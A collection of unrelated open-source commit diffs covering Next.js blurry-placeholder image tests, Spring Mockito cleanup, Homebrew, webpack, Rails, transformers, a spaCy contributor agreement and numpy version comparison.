<del> `background-position:0% 0%`
<del> )
<del>
<del> expect(
<del> $html('#blurry-placeholder-tall-centered')[0].attribs.style
<del> ).toContain(`background-position:center`)
<del>
<del> expect($html('#blurry-placeholder-with-lazy')[0].attribs.style).toContain(
<del> `background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='400' height='400' viewBox='0 0 400 400'%3E%3Cfilter id='blur' filterUnits='userSpaceOnUse' color-interpolation-filters='sRGB'%3E%3CfeGaussianBlur stdDeviation='20' edgeMode='duplicate' /%3E%3CfeComponentTransfer%3E%3CfeFuncA type='discrete' tableValues='1 1' /%3E%3C/feComponentTransfer%3E%3C/filter%3E%3Cimage filter='url(%23blur)' href='data:image/jpeg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAMDAwMDAwQEBAQFBQUFBQcHBgYHBwsICQgJCAsRCwwLCwwLEQ8SDw4PEg8bFRMTFRsfGhkaHyYiIiYwLTA+PlT/wAALCAAKAAoBAREA/8QAMwABAQEAAAAAAAAAAAAAAAAAAAcJEAABAwUAAwAAAAAAAAAAAAAFAAYRAQMEEyEVMlH/2gAIAQEAAD8Az1bLPaxhiuk0QdeCOLDtHixN2dmd2bsc5FPX7VTREX//2Q==' x='0' y='0' height='100%25' width='100%25'/%3E%3C/svg%3E")`
<del> )
<del> })
<del>
<del> it('should not use blurry placeholder for <noscript> image', async () => {
<del> const html = await renderViaHTTP(appPort, '/blurry-placeholder')
<del> const $html = cheerio.load(html)
<del> const style = $html('noscript > img')[0].attribs.style
<del>
<del> expect(style).not.toContain(`background-position`)
<del> expect(style).not.toContain(`background-size`)
<del> expect(style).not.toContain(
<del> `background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='400' height='400' viewBox='0 0 400 400'%3E%3Cfilter id='blur' filterUnits='userSpaceOnUse' color-interpolation-filters='sRGB'%3E%3CfeGaussianBlur stdDeviation='20' edgeMode='duplicate' /%3E%3CfeComponentTransfer%3E%3CfeFuncA type='discrete' tableValues='1 1' /%3E%3C/feComponentTransfer%3E%3C/filter%3E%3Cimage filter='url(%23blur)' href='data:image/jpeg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAMDAwMDAwQEBAQFBQUFBQcHBgYHBwsICQgJCAsRCwwLCwwLEQ8SDw4PEg8bFRMTFRsfGhkaHyYiIiYwLTA+PlT/wAALCAAKAAoBAREA/8QAMwABAQEAAAAAAAAAAAAAAAAAAAcJEAABAwUAAwAAAAAAAAAAAAAFAAYRAQMEEyEVMlH/2gAIAQEAAD8Az1bLPaxhiuk0QdeCOLDtHixN2dmd2bsc5FPX7VTREX//2Q==' x='0' y='0' height='100%25' width='100%25'/%3E%3C/svg%3E")`
<del> )
<del> })
<del>
<del> it('should remove blurry placeholder after image loads', async () => {
<del> let browser
<del> try {
<del> browser = await webdriver(appPort, '/blurry-placeholder')
<del> await check(
<del> async () =>
<del> await getComputedStyle(
<del> browser,
<del> 'blurry-placeholder',
<del> 'background-image'
<del> ),
<del> 'none'
<del> )
<del> expect(
<del> await getComputedStyle(
<del> browser,
<del> 'blurry-placeholder-with-lazy',
<del> 'background-image'
<del> )
<del> ).toBe(
<del> `url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='400' height='400' viewBox='0 0 400 400'%3E%3Cfilter id='blur' filterUnits='userSpaceOnUse' color-interpolation-filters='sRGB'%3E%3CfeGaussianBlur stdDeviation='20' edgeMode='duplicate' /%3E%3CfeComponentTransfer%3E%3CfeFuncA type='discrete' tableValues='1 1' /%3E%3C/feComponentTransfer%3E%3C/filter%3E%3Cimage filter='url(%23blur)' href='data:image/jpeg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAMDAwMDAwQEBAQFBQUFBQcHBgYHBwsICQgJCAsRCwwLCwwLEQ8SDw4PEg8bFRMTFRsfGhkaHyYiIiYwLTA+PlT/wAALCAAKAAoBAREA/8QAMwABAQEAAAAAAAAAAAAAAAAAAAcJEAABAwUAAwAAAAAAAAAAAAAFAAYRAQMEEyEVMlH/2gAIAQEAAD8Az1bLPaxhiuk0QdeCOLDtHixN2dmd2bsc5FPX7VTREX//2Q==' x='0' y='0' height='100%25' width='100%25'/%3E%3C/svg%3E")`
<del> )
<del>
<del> await browser.eval('document.getElementById("spacer").remove()')
<del>
<del> await check(
<del> async () =>
<del> await getComputedStyle(
<del> browser,
<del> 'blurry-placeholder-with-lazy',
<del> 'background-image'
<del> ),
<del> 'none'
<del> )
<del> } finally {
<del> if (browser) {
<del> await browser.close()
<del> }
<del> }
<del> })
<del>
<ide> runTests('serverless')
<ide> })
<ide> })
| 1
|
Ruby
|
Ruby
|
fix incorrect code example
|
6ac56ac93bd9e8a3e003f29eff2816218f0e5db6
|
<ide><path>actionpack/lib/action_controller/metal/mime_responds.rb
<ide> def clear_respond_to
<ide> #
<ide> # def index
<ide> # @people = Person.all
<del> # respond_with(@person)
<add> # respond_with(@people)
<ide> # end
<ide> # end
<ide> #
| 1
|
Python
|
Python
|
fix failing torchscript test for xlnet
|
d9fa1bad728f7dd78131b316686e18b8a8904196
|
<ide><path>tests/test_modeling_common.py
<ide> def _create_and_check_torchscript(self, config, inputs_dict):
<ide> loaded_model.to(torch_device)
<ide> loaded_model.eval()
<ide>
<del> model_params = model.parameters()
<del> loaded_model_params = loaded_model.parameters()
<add> model_state_dict = model.state_dict()
<add> loaded_model_state_dict = loaded_model.state_dict()
<add>
<add> self.assertEqual(set(model_state_dict.keys()), set(loaded_model_state_dict.keys()))
<ide>
<ide> models_equal = True
<del> for p1, p2 in zip(model_params, loaded_model_params):
<add> for layer_name, p1 in model_state_dict.items():
<add> p2 = loaded_model_state_dict[layer_name]
<ide> if p1.data.ne(p2.data).sum() > 0:
<ide> models_equal = False
<ide>
| 1
|
Java
|
Java
|
avoid deprecated mockito methods
|
7f4904ed22208028e9c47e3ee4802ab94186fbaa
|
<ide><path>spring-beans/src/test/java/org/springframework/beans/factory/DefaultListableBeanFactoryTests.java
<ide> public void resolveEmbeddedValue() {
<ide> bf.addEmbeddedValueResolver(r3);
<ide> given(r1.resolveStringValue("A")).willReturn("B");
<ide> given(r2.resolveStringValue("B")).willReturn(null);
<del> given(r3.resolveStringValue(isNull(String.class))).willThrow(new IllegalArgumentException());
<add> given(r3.resolveStringValue(isNull())).willThrow(new IllegalArgumentException());
<ide>
<ide> bf.resolveEmbeddedValue("A");
<ide>
<ide> verify(r1).resolveStringValue("A");
<ide> verify(r2).resolveStringValue("B");
<del> verify(r3, never()).resolveStringValue(isNull(String.class));
<add> verify(r3, never()).resolveStringValue(isNull());
<ide> }
<ide>
<ide> @Test
<ide><path>spring-context/src/test/java/org/springframework/context/event/ApplicationListenerMethodAdapterTests.java
<ide> public class ApplicationListenerMethodAdapterTests extends AbstractApplicationEv
<ide>
<ide> private final ApplicationContext context = mock(ApplicationContext.class);
<ide>
<add>
<ide> @Test
<ide> public void rawListener() {
<del> Method method = ReflectionUtils.findMethod(SampleEvents.class,
<del> "handleRaw", ApplicationEvent.class);
<add> Method method = ReflectionUtils.findMethod(SampleEvents.class, "handleRaw", ApplicationEvent.class);
<ide> supportsEventType(true, method, getGenericApplicationEventType("applicationEvent"));
<ide> }
<ide>
<ide> @Test
<ide> public void rawListenerWithGenericEvent() {
<del> Method method = ReflectionUtils.findMethod(SampleEvents.class,
<del> "handleRaw", ApplicationEvent.class);
<add> Method method = ReflectionUtils.findMethod(SampleEvents.class, "handleRaw", ApplicationEvent.class);
<ide> supportsEventType(true, method, getGenericApplicationEventType("stringEvent"));
<ide> }
<ide>
<ide> @Test
<ide> public void genericListener() {
<del> Method method = ReflectionUtils.findMethod(SampleEvents.class,
<del> "handleGenericString", GenericTestEvent.class);
<add> Method method = ReflectionUtils.findMethod(
<add> SampleEvents.class, "handleGenericString", GenericTestEvent.class);
<ide> supportsEventType(true, method, getGenericApplicationEventType("stringEvent"));
<ide> }
<ide>
<ide> @Test
<ide> public void genericListenerWrongParameterizedType() {
<del> Method method = ReflectionUtils.findMethod(SampleEvents.class,
<del> "handleGenericString", GenericTestEvent.class);
<add> Method method = ReflectionUtils.findMethod(
<add> SampleEvents.class, "handleGenericString", GenericTestEvent.class);
<ide> supportsEventType(false, method, getGenericApplicationEventType("longEvent"));
<ide> }
<ide>
<ide> @Test
<ide> public void listenerWithPayloadAndGenericInformation() {
<del> Method method = ReflectionUtils.findMethod(SampleEvents.class,
<del> "handleString", String.class);
<add> Method method = ReflectionUtils.findMethod(SampleEvents.class, "handleString", String.class);
<ide> supportsEventType(true, method, createGenericEventType(String.class));
<ide> }
<ide>
<ide> @Test
<ide> public void listenerWithInvalidPayloadAndGenericInformation() {
<del> Method method = ReflectionUtils.findMethod(SampleEvents.class,
<del> "handleString", String.class);
<add> Method method = ReflectionUtils.findMethod(SampleEvents.class, "handleString", String.class);
<ide> supportsEventType(false, method, createGenericEventType(Integer.class));
<ide> }
<ide>
<ide> @Test
<del> public void listenerWithPayloadTypeErasure() { // Always accept such event when the type is unknown
<del> Method method = ReflectionUtils.findMethod(SampleEvents.class,
<del> "handleString", String.class);
<add> public void listenerWithPayloadTypeErasure() { // Always accept such event when the type is unknown
<add> Method method = ReflectionUtils.findMethod(SampleEvents.class, "handleString", String.class);
<ide> supportsEventType(true, method, ResolvableType.forClass(PayloadApplicationEvent.class));
<ide> }
<ide>
<ide> public void listenerWithSubTypeSeveralGenerics() {
<ide>
<ide> @Test
<ide> public void listenerWithSubTypeSeveralGenericsResolved() {
<del> Method method = ReflectionUtils.findMethod(SampleEvents.class,
<del> "handleString", String.class);
<add> Method method = ReflectionUtils.findMethod(SampleEvents.class, "handleString", String.class);
<ide> supportsEventType(true, method, ResolvableType.forClass(PayloadStringTestEvent.class));
<ide> }
<ide>
<ide> @Test
<ide> public void listenerWithAnnotationValue() {
<del> Method method = ReflectionUtils.findMethod(SampleEvents.class,
<del> "handleStringAnnotationValue");
<add> Method method = ReflectionUtils.findMethod(SampleEvents.class, "handleStringAnnotationValue");
<ide> supportsEventType(true, method, createGenericEventType(String.class));
<ide> }
<ide>
<ide> @Test
<ide> public void listenerWithAnnotationClasses() {
<del> Method method = ReflectionUtils.findMethod(SampleEvents.class,
<del> "handleStringAnnotationClasses");
<add> Method method = ReflectionUtils.findMethod(SampleEvents.class, "handleStringAnnotationClasses");
<ide> supportsEventType(true, method, createGenericEventType(String.class));
<ide> }
<ide>
<ide> @Test
<ide> public void listenerWithAnnotationValueAndParameter() {
<del> Method method = ReflectionUtils.findMethod(SampleEvents.class,
<del> "handleStringAnnotationValueAndParameter", String.class);
<add> Method method = ReflectionUtils.findMethod(
<add> SampleEvents.class, "handleStringAnnotationValueAndParameter", String.class);
<ide> supportsEventType(true, method, createGenericEventType(String.class));
<ide> }
<ide>
<ide> @Test
<ide> public void listenerWithSeveralTypes() {
<del> Method method = ReflectionUtils.findMethod(SampleEvents.class,
<del> "handleStringOrInteger");
<add> Method method = ReflectionUtils.findMethod(SampleEvents.class, "handleStringOrInteger");
<ide> supportsEventType(true, method, createGenericEventType(String.class));
<ide> supportsEventType(true, method, createGenericEventType(Integer.class));
<ide> supportsEventType(false, method, createGenericEventType(Double.class));
<ide> }
<ide>
<ide> @Test
<ide> public void listenerWithTooManyParameters() {
<del> Method method = ReflectionUtils.findMethod(SampleEvents.class,
<del> "tooManyParameters", String.class, String.class);
<del>
<add> Method method = ReflectionUtils.findMethod(
<add> SampleEvents.class, "tooManyParameters", String.class, String.class);
<ide> this.thrown.expect(IllegalStateException.class);
<ide> createTestInstance(method);
<ide> }
<ide>
<ide> @Test
<ide> public void listenerWithNoParameter() {
<del> Method method = ReflectionUtils.findMethod(SampleEvents.class,
<del> "noParameter");
<del>
<add> Method method = ReflectionUtils.findMethod(SampleEvents.class, "noParameter");
<ide> this.thrown.expect(IllegalStateException.class);
<ide> createTestInstance(method);
<ide> }
<ide>
<ide> @Test
<ide> public void listenerWithMoreThanOneParameter() {
<del> Method method = ReflectionUtils.findMethod(SampleEvents.class,
<del> "moreThanOneParameter", String.class, Integer.class);
<del>
<add> Method method = ReflectionUtils.findMethod(
<add> SampleEvents.class, "moreThanOneParameter", String.class, Integer.class);
<ide> this.thrown.expect(IllegalStateException.class);
<ide> createTestInstance(method);
<ide> }
<ide>
<ide> @Test
<ide> public void defaultOrder() {
<del> Method method = ReflectionUtils.findMethod(SampleEvents.class,
<del> "handleGenericString", GenericTestEvent.class);
<add> Method method = ReflectionUtils.findMethod(
<add> SampleEvents.class, "handleGenericString", GenericTestEvent.class);
<ide> ApplicationListenerMethodAdapter adapter = createTestInstance(method);
<ide> assertEquals(0, adapter.getOrder());
<ide> }
<ide>
<ide> @Test
<ide> public void specifiedOrder() {
<del> Method method = ReflectionUtils.findMethod(SampleEvents.class,
<del> "handleRaw", ApplicationEvent.class);
<add> Method method = ReflectionUtils.findMethod(
<add> SampleEvents.class, "handleRaw", ApplicationEvent.class);
<ide> ApplicationListenerMethodAdapter adapter = createTestInstance(method);
<ide> assertEquals(42, adapter.getOrder());
<ide> }
<ide>
<ide> @Test
<ide> public void invokeListener() {
<del> Method method = ReflectionUtils.findMethod(SampleEvents.class,
<del> "handleGenericString", GenericTestEvent.class);
<add> Method method = ReflectionUtils.findMethod(
<add> SampleEvents.class, "handleGenericString", GenericTestEvent.class);
<ide> GenericTestEvent<String> event = createGenericTestEvent("test");
<ide> invokeListener(method, event);
<ide> verify(this.sampleEvents, times(1)).handleGenericString(event);
<ide> }
<ide>
<ide> @Test
<ide> public void invokeListenerWithGenericEvent() {
<del> Method method = ReflectionUtils.findMethod(SampleEvents.class,
<del> "handleGenericString", GenericTestEvent.class);
<add> Method method = ReflectionUtils.findMethod(
<add> SampleEvents.class, "handleGenericString", GenericTestEvent.class);
<ide> GenericTestEvent<String> event = new SmartGenericTestEvent<>(this, "test");
<ide> invokeListener(method, event);
<ide> verify(this.sampleEvents, times(1)).handleGenericString(event);
<ide> }
<ide>
<ide> @Test
<ide> public void invokeListenerWithGenericPayload() {
<del> Method method = ReflectionUtils.findMethod(SampleEvents.class,
<del> "handleGenericStringPayload", EntityWrapper.class);
<add> Method method = ReflectionUtils.findMethod(
<add> SampleEvents.class, "handleGenericStringPayload", EntityWrapper.class);
<ide> EntityWrapper<String> payload = new EntityWrapper<>("test");
<ide> invokeListener(method, new PayloadApplicationEvent<>(this, payload));
<ide> verify(this.sampleEvents, times(1)).handleGenericStringPayload(payload);
<ide> }
<ide>
<ide> @Test
<ide> public void invokeListenerWithWrongGenericPayload() {
<del> Method method = ReflectionUtils.findMethod(SampleEvents.class,
<del> "handleGenericStringPayload", EntityWrapper.class);
<add> Method method = ReflectionUtils.findMethod
<add> (SampleEvents.class, "handleGenericStringPayload", EntityWrapper.class);
<ide> EntityWrapper<Integer> payload = new EntityWrapper<>(123);
<ide> invokeListener(method, new PayloadApplicationEvent<>(this, payload));
<ide> verify(this.sampleEvents, times(0)).handleGenericStringPayload(any());
<ide> }
<ide>
<ide> @Test
<ide> public void invokeListenerWithAnyGenericPayload() {
<del> Method method = ReflectionUtils.findMethod(SampleEvents.class,
<del> "handleGenericAnyPayload", EntityWrapper.class);
<add> Method method = ReflectionUtils.findMethod(
<add> SampleEvents.class, "handleGenericAnyPayload", EntityWrapper.class);
<ide> EntityWrapper<String> payload = new EntityWrapper<>("test");
<ide> invokeListener(method, new PayloadApplicationEvent<>(this, payload));
<ide> verify(this.sampleEvents, times(1)).handleGenericAnyPayload(payload);
<ide> }
<ide>
<ide> @Test
<ide> public void invokeListenerRuntimeException() {
<del> Method method = ReflectionUtils.findMethod(SampleEvents.class,
<del> "generateRuntimeException", GenericTestEvent.class);
<add> Method method = ReflectionUtils.findMethod(
<add> SampleEvents.class, "generateRuntimeException", GenericTestEvent.class);
<ide> GenericTestEvent<String> event = createGenericTestEvent("fail");
<ide>
<ide> this.thrown.expect(IllegalStateException.class);
<ide> this.thrown.expectMessage("Test exception");
<del> this.thrown.expectCause(is(isNull(Throwable.class)));
<add> this.thrown.expectCause(is((Throwable) isNull()));
<ide> invokeListener(method, event);
<ide> }
<ide>
<ide> @Test
<ide> public void invokeListenerCheckedException() {
<del> Method method = ReflectionUtils.findMethod(SampleEvents.class,
<del> "generateCheckedException", GenericTestEvent.class);
<add> Method method = ReflectionUtils.findMethod(
<add> SampleEvents.class, "generateCheckedException", GenericTestEvent.class);
<ide> GenericTestEvent<String> event = createGenericTestEvent("fail");
<ide>
<ide> this.thrown.expect(UndeclaredThrowableException.class);
<ide> public void invokeListenerInvalidProxy() {
<ide> proxyFactory.addInterface(SimpleService.class);
<ide> Object bean = proxyFactory.getProxy(getClass().getClassLoader());
<ide>
<del> Method method = ReflectionUtils.findMethod(InvalidProxyTestBean.class, "handleIt2", ApplicationEvent.class);
<add> Method method = ReflectionUtils.findMethod(
<add> InvalidProxyTestBean.class, "handleIt2", ApplicationEvent.class);
<ide> StaticApplicationListenerMethodAdapter listener =
<ide> new StaticApplicationListenerMethodAdapter(method, bean);
<ide> this.thrown.expect(IllegalStateException.class);
<ide> public void invokeListenerInvalidProxy() {
<ide>
<ide> @Test
<ide> public void invokeListenerWithPayload() {
<del> Method method = ReflectionUtils.findMethod(SampleEvents.class,
<del> "handleString", String.class);
<add> Method method = ReflectionUtils.findMethod(SampleEvents.class, "handleString", String.class);
<ide> PayloadApplicationEvent<String> event = new PayloadApplicationEvent<>(this, "test");
<ide> invokeListener(method, event);
<ide> verify(this.sampleEvents, times(1)).handleString("test");
<ide> }
<ide>
<ide> @Test
<ide> public void invokeListenerWithPayloadWrongType() {
<del> Method method = ReflectionUtils.findMethod(SampleEvents.class,
<del> "handleString", String.class);
<add> Method method = ReflectionUtils.findMethod(SampleEvents.class, "handleString", String.class);
<ide> PayloadApplicationEvent<Long> event = new PayloadApplicationEvent<>(this, 123L);
<ide> invokeListener(method, event);
<ide> verify(this.sampleEvents, never()).handleString(anyString());
<ide> }
<ide>
<ide> @Test
<ide> public void invokeListenerWithAnnotationValue() {
<del> Method method = ReflectionUtils.findMethod(SampleEvents.class,
<del> "handleStringAnnotationClasses");
<add> Method method = ReflectionUtils.findMethod(SampleEvents.class, "handleStringAnnotationClasses");
<ide> PayloadApplicationEvent<String> event = new PayloadApplicationEvent<>(this, "test");
<ide> invokeListener(method, event);
<ide> verify(this.sampleEvents, times(1)).handleStringAnnotationClasses();
<ide> }
<ide>
<ide> @Test
<ide> public void invokeListenerWithAnnotationValueAndParameter() {
<del> Method method = ReflectionUtils.findMethod(SampleEvents.class,
<del> "handleStringAnnotationValueAndParameter", String.class);
<add> Method method = ReflectionUtils.findMethod(
<add> SampleEvents.class, "handleStringAnnotationValueAndParameter", String.class);
<ide> PayloadApplicationEvent<String> event = new PayloadApplicationEvent<>(this, "test");
<ide> invokeListener(method, event);
<ide> verify(this.sampleEvents, times(1)).handleStringAnnotationValueAndParameter("test");
<ide> }
<ide>
<ide> @Test
<ide> public void invokeListenerWithSeveralTypes() {
<del> Method method = ReflectionUtils.findMethod(SampleEvents.class,
<del> "handleStringOrInteger");
<add> Method method = ReflectionUtils.findMethod(SampleEvents.class, "handleStringOrInteger");
<ide> PayloadApplicationEvent<String> event = new PayloadApplicationEvent<>(this, "test");
<ide> invokeListener(method, event);
<ide> verify(this.sampleEvents, times(1)).handleStringOrInteger();
<ide> public void invokeListenerWithSeveralTypes() {
<ide> verify(this.sampleEvents, times(2)).handleStringOrInteger();
<ide> }
<ide>
<del>
<ide> @Test
<ide> public void beanInstanceRetrievedAtEveryInvocation() {
<del> Method method = ReflectionUtils.findMethod(SampleEvents.class,
<del> "handleGenericString", GenericTestEvent.class);
<add> Method method = ReflectionUtils.findMethod(
<add> SampleEvents.class, "handleGenericString", GenericTestEvent.class);
<ide> when(this.context.getBean("testBean")).thenReturn(this.sampleEvents);
<ide> ApplicationListenerMethodAdapter listener = new ApplicationListenerMethodAdapter(
<ide> "testBean", GenericTestEvent.class, method);
<ide> public void beanInstanceRetrievedAtEveryInvocation() {
<ide> verify(this.context, times(2)).getBean("testBean");
<ide> }
<ide>
<add>
<ide> private void supportsEventType(boolean match, Method method, ResolvableType eventType) {
<ide> ApplicationListenerMethodAdapter adapter = createTestInstance(method);
<ide> assertEquals("Wrong match for event '" + eventType + "' on " + method,
<ide> private ResolvableType createGenericEventType(Class<?> payloadType) {
<ide> return ResolvableType.forClassWithGenerics(PayloadApplicationEvent.class, payloadType);
<ide> }
<ide>
<del> private static class StaticApplicationListenerMethodAdapter
<del> extends ApplicationListenerMethodAdapter {
<add>
<add> private static class StaticApplicationListenerMethodAdapter extends ApplicationListenerMethodAdapter {
<ide>
<ide> private final Object targetBean;
<ide>
<ide> public Object getTargetBean() {
<ide>
<ide> private static class SampleEvents {
<ide>
<del>
<ide> @EventListener
<ide> @Order(42)
<ide> public void handleRaw(ApplicationEvent event) {
<ide> public void generateCheckedException(GenericTestEvent<String> event) throws IOEx
<ide> }
<ide> }
<ide>
<add>
<ide> interface SimpleService {
<ide>
<ide> void handleIt(ApplicationEvent event);
<del>
<ide> }
<ide>
<add>
<ide> private static class EntityWrapper<T> implements ResolvableTypeProvider {
<add>
<ide> private final T entity;
<ide>
<ide> public EntityWrapper(T entity) {
<ide> public ResolvableType getResolvableType() {
<ide> }
<ide> }
<ide>
<add>
<ide> static class InvalidProxyTestBean implements SimpleService {
<ide>
<ide> @Override
<ide> public void handleIt2(ApplicationEvent event) {
<ide> }
<ide> }
<ide>
<add>
<ide> @SuppressWarnings({"unused", "serial"})
<ide> static class PayloadTestEvent<V, T> extends PayloadApplicationEvent<T> {
<ide>
<ide> public PayloadTestEvent(Object source, T payload, V something) {
<ide> }
<ide> }
<ide>
<add>
<ide> @SuppressWarnings({ "serial" })
<ide> static class PayloadStringTestEvent extends PayloadTestEvent<Long, String> {
<add>
<ide> public PayloadStringTestEvent(Object source, String payload, Long something) {
<ide> super(source, payload, something);
<ide> }
| 2
|
Javascript
|
Javascript
|
hide buildat in examples
|
0b566508fb5992d56db544e82765b8cebe1dd1fb
|
<ide><path>examples/template-common.js
<ide> function lessStrict(regExpStr) {
<ide>
<ide> const runtimeRegexp = /(```\s*(?:js|javascript)\n)?(.*)(\/\*\*\*\*\*\*\/ \(function\(modules\) \{ \/\/ webpackBootstrap\n(?:.|\n)*?\n\/\*\*\*\*\*\*\/ \}\)\n\/\**\/\n)/;
<ide> const timeRegexp = /\s*Time: \d+ms/g;
<add>const buildAtRegexp = /\s*Built at: .+/mg;
<ide> const hashRegexp = /Hash: [a-f0-9]+/g;
<ide>
<ide> exports.replaceBase = (template) => {
<ide> exports.replaceBase = (template) => {
<ide> .replace(webpack, "(webpack)")
<ide> .replace(webpackParent, "(webpack)/~")
<ide> .replace(timeRegexp, "")
<add> .replace(buildAtRegexp, "")
<ide> .replace(hashRegexp, "Hash: 0a1b2c3d4e5f6a7b8c9d")
<ide> .replace(/\.chunkhash\./g, ".[chunkhash].")
<ide> .replace(runtimeRegexp, function(match) {
| 1
|
Ruby
|
Ruby
|
remove duplicated test
|
316665f3e7cdedd33ab7f1cfeff601516e55a598
|
<ide><path>activerecord/test/cases/adapters/postgresql/uuid_test.rb
<ide> def self.name
<ide> end
<ide> end
<ide>
<del>class PostgresqlLargeKeysTest < ActiveRecord::TestCase
<del> include PostgresqlUUIDHelper
<del> include SchemaDumpingHelper
<del>
<del> def setup
<del> connection.create_table('big_serials', id: :bigserial) do |t|
<del> t.string 'name'
<del> end
<del> end
<del>
<del> def test_omg
<del> schema = dump_table_schema "big_serials"
<del> assert_match "create_table \"big_serials\", id: :bigserial", schema
<del> end
<del>
<del> def teardown
<del> drop_table "big_serials"
<del> end
<del>end
<del>
<ide> class PostgresqlUUIDGenerationTest < ActiveRecord::TestCase
<ide> include PostgresqlUUIDHelper
<ide> include SchemaDumpingHelper
| 1
|
Ruby
|
Ruby
|
move ruby methods to fileutils extension
|
ea15442b9a9d594f8e62923473ff738f921b46bc
|
<ide><path>Library/Homebrew/extend/fileutils.rb
<ide> def copy_metadata(path)
<ide> end
<ide> end
<ide>
<add> RUBY_BIN = '/System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/bin'
<add>
<add> def rake *args
<add> system "#{RUBY_BIN}/rake", *args
<add> end
<add>
<add> def ruby *args
<add> system "#{RUBY_BIN}/ruby", *args
<add> end
<ide> end
<ide><path>Library/Homebrew/formula.rb
<ide> def std_cmake_args
<ide> ]
<ide> end
<ide>
<del> def ruby_bin
<del> '/System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/bin'
<del> end
<del>
<del> def rake *args
<del> system "#{ruby_bin}/rake", *args
<del> end
<del>
<del> def ruby *args
<del> system "#{ruby_bin}/ruby", *args
<del> end
<del>
<ide> def self.class_s name
<ide> #remove invalid characters and then camelcase it
<ide> name.capitalize.gsub(/[-_.\s]([a-zA-Z0-9])/) { $1.upcase } \
| 2
|
Text
|
Text
|
add jabortell to the contributors
|
8790fd571c32aa1dd1be90dd4f5ba67843177281
|
<ide><path>.github/contributors/jabortell.md
<add># spaCy contributor agreement
<add>
<add>This spaCy Contributor Agreement (**"SCA"**) is based on the
<add>[Oracle Contributor Agreement](http://www.oracle.com/technetwork/oca-405177.pdf).
<add>The SCA applies to any contribution that you make to any product or project
<add>managed by us (the **"project"**), and sets out the intellectual property rights
<add>you grant to us in the contributed materials. The term **"us"** shall mean
<add>[ExplosionAI GmbH](https://explosion.ai/legal). The term
<add>**"you"** shall mean the person or entity identified below.
<add>
<add>If you agree to be bound by these terms, fill in the information requested
<add>below and include the filled-in version with your first pull request, under the
<add>folder [`.github/contributors/`](/.github/contributors/). The name of the file
<add>should be your GitHub username, with the extension `.md`. For example, the user
<add>example_user would create the file `.github/contributors/example_user.md`.
<add>
<add>Read this agreement carefully before signing. These terms and conditions
<add>constitute a binding legal agreement.
<add>
<add>## Contributor Agreement
<add>
<add>1. The term "contribution" or "contributed materials" means any source code,
<add>object code, patch, tool, sample, graphic, specification, manual,
<add>documentation, or any other material posted or submitted by you to the project.
<add>
<add>2. With respect to any worldwide copyrights, or copyright applications and
<add>registrations, in your contribution:
<add>
<add> * you hereby assign to us joint ownership, and to the extent that such
<add> assignment is or becomes invalid, ineffective or unenforceable, you hereby
<add> grant to us a perpetual, irrevocable, non-exclusive, worldwide, no-charge,
<add> royalty-free, unrestricted license to exercise all rights under those
<add> copyrights. This includes, at our option, the right to sublicense these same
<add> rights to third parties through multiple levels of sublicensees or other
<add> licensing arrangements;
<add>
<add> * you agree that each of us can do all things in relation to your
<add> contribution as if each of us were the sole owners, and if one of us makes
<add> a derivative work of your contribution, the one who makes the derivative
<add> work (or has it made will be the sole owner of that derivative work;
<add>
<add> * you agree that you will not assert any moral rights in your contribution
<add> against us, our licensees or transferees;
<add>
<add> * you agree that we may register a copyright in your contribution and
<add> exercise all ownership rights associated with it; and
<add>
<add> * you agree that neither of us has any duty to consult with, obtain the
<add> consent of, pay or render an accounting to the other for any use or
<add> distribution of your contribution.
<add>
<add>3. With respect to any patents you own, or that you can license without payment
<add>to any third party, you hereby grant to us a perpetual, irrevocable,
<add>non-exclusive, worldwide, no-charge, royalty-free license to:
<add>
<add> * make, have made, use, sell, offer to sell, import, and otherwise transfer
<add> your contribution in whole or in part, alone or in combination with or
<add> included in any product, work or materials arising out of the project to
<add> which your contribution was submitted, and
<add>
<add> * at our option, to sublicense these same rights to third parties through
<add> multiple levels of sublicensees or other licensing arrangements.
<add>
<add>4. Except as set out above, you keep all right, title, and interest in your
<add>contribution. The rights that you grant to us under these terms are effective
<add>on the date you first submitted a contribution to us, even if your submission
<add>took place before the date you sign these terms.
<add>
<add>5. You covenant, represent, warrant and agree that:
<add>
<add> * Each contribution that you submit is and shall be an original work of
<add> authorship and you can legally grant the rights set out in this SCA;
<add>
<add> * to the best of your knowledge, each contribution will not violate any
<add> third party's copyrights, trademarks, patents, or other intellectual
<add> property rights; and
<add>
<add> * each contribution shall be in compliance with U.S. export control laws and
<add> other applicable export and import laws. You agree to notify us if you
<add> become aware of any circumstance which would make any of the foregoing
<add> representations inaccurate in any respect. We may publicly disclose your
<add> participation in the project, including the fact that you have signed the SCA.
<add>
<add>6. This SCA is governed by the laws of the State of California and applicable
<add>U.S. Federal law. Any choice of law rules will not apply.
<add>
<add>7. Please place an “x” on one of the applicable statement below. Please do NOT
<add>mark both statements:
<add>
<add> * [x] I am signing on behalf of myself as an individual and no other person
<add> or entity, including my employer, has or will have rights with respect to my
<add> contributions.
<add>
<add> * [ ] I am signing on behalf of my employer or a legal entity and I have the
<add> actual authority to contractually bind that entity.
<add>
<add>## Contributor Details
<add>
<add>| Field | Entry |
<add>|------------------------------- | -------------------- |
<add>| Name | Jacob Bortell |
<add>| Company name (if applicable) | |
<add>| Title or role (if applicable) | |
<add>| Date | 2020-11-20 |
<add>| GitHub username | jabortell |
<add>| Website (optional) | |
| 1
|
Python
|
Python
|
replace looseversion by _pep440
|
df8d1fd3c2077ca785b0948912162e03727ace6c
|
<ide><path>numpy/compat/__init__.py
<ide>
<ide> """
<ide> from . import _inspect
<add>from . import _pep440
<ide> from . import py3k
<ide> from ._inspect import getargspec, formatargspec
<ide> from .py3k import *
<ide><path>numpy/compat/_pep440.py
<add>"""Utility to compare pep440 compatible version strings.
<add>
<add>The LooseVersion and StrictVersion classes that distutils provides don't
<add>work; they don't recognize anything like alpha/beta/rc/dev versions.
<add>"""
<add>
<add># Copyright (c) Donald Stufft and individual contributors.
<add># All rights reserved.
<add>
<add># Redistribution and use in source and binary forms, with or without
<add># modification, are permitted provided that the following conditions are met:
<add>
<add># 1. Redistributions of source code must retain the above copyright notice,
<add># this list of conditions and the following disclaimer.
<add>
